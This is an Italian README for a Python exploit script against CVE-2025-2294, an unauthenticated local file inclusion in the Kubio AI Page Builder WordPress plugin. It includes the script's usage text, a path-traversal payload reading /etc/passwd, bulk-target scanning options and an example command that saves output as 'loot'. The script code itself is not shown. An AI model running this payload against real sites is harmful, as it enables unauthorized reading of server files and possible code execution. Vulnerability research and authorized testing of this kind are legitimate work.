CVE-2025-2294 - WordPress Kubio AI Page Builder <= 2.5.1 - Exploit per Inclusione Locale di File (LFI)

Panoramica

CVE-2025-2294 riguarda il plugin Kubio AI Page Builder per WordPress (versioni fino alla 2.5.1 inclusa). Soffre di una vulnerabilità Local File Inclusion (LFI) non autenticata tramite la funzione thekubio_hybrid_theme_load_template.

Questa vulnerabilità permette a un attaccante di includere ed eseguire file arbitrari sul server WordPress vulnerabile, il che può portare a:

Bypass dei controlli di accesso
Lettura di file sensibili del server
Esecuzione remota di codice (se l'attaccante può caricare file PHP malevoli mascherati da tipi di file sicuri)

Dettagli della vulnerabilità

Descrizione dello script di exploit

Questo script Python invia richieste HTTP GET appositamente create al sito WordPress vulnerabile per verificare se è vulnerabile al problema LFI.

Caratteristiche:

Testa un singolo URL o più target da un file.
Payload personalizzabile per l'inclusione arbitraria di file (default: /etc/passwd).
Salva la risposta completa in un file.
Mostra in anteprima le prime N righe della risposta per una rapida validazione.
Supporto per proxy HTTP.
Modalità solo controllo per la scansione delle vulnerabilità senza salvare l'output.

Utilizzo

usage: cve_2025_2294.py [-h] [--url URL] [--payload PAYLOAD] [--save SAVE]
                        [--lines LINES] [--timeout TIMEOUT] [--proxy PROXY]
                        [--check] [--list LIST]

CVE-2025-2294 LFI Exploit

optional arguments:
  -h, --help       show this help message and exit
  --url URL        Target URL (e.g., http://127.0.0.1:8080)
  --payload PAYLOAD
                   LFI payload path (default: ../../../../../../../../etc/passwd)
  --save SAVE      Save full response to file (optional)
  --lines LINES    Number of preview lines (default: 10)
  --timeout TIMEOUT
                   Request timeout in seconds (default: 10)
  --proxy PROXY    Proxy URL (e.g., http://127.0.0.1:8080)
  --check          Check vulnerability status only, no saving or preview
  --list LIST      Path to file with list of URLs to check one by one

Esempio avanzato con payload personalizzato, proxy e anteprima più lunga:

python3 cve_2025_2294.py --url "http://192.168.1.10" --save loot.txt --lines 20 --payload /etc/passwd --timeout 10 --proxy "http://127.0.0.1:8080"

Richiesta/Risposta:

⚠️ Avvertenza

Questo strumento è destinato esclusivamente a scopi autorizzati di test di sicurezza e ricerca. L'uso non autorizzato contro sistemi senza permesso è illegale e non etico.

CVE-2025-2294

Più Popolari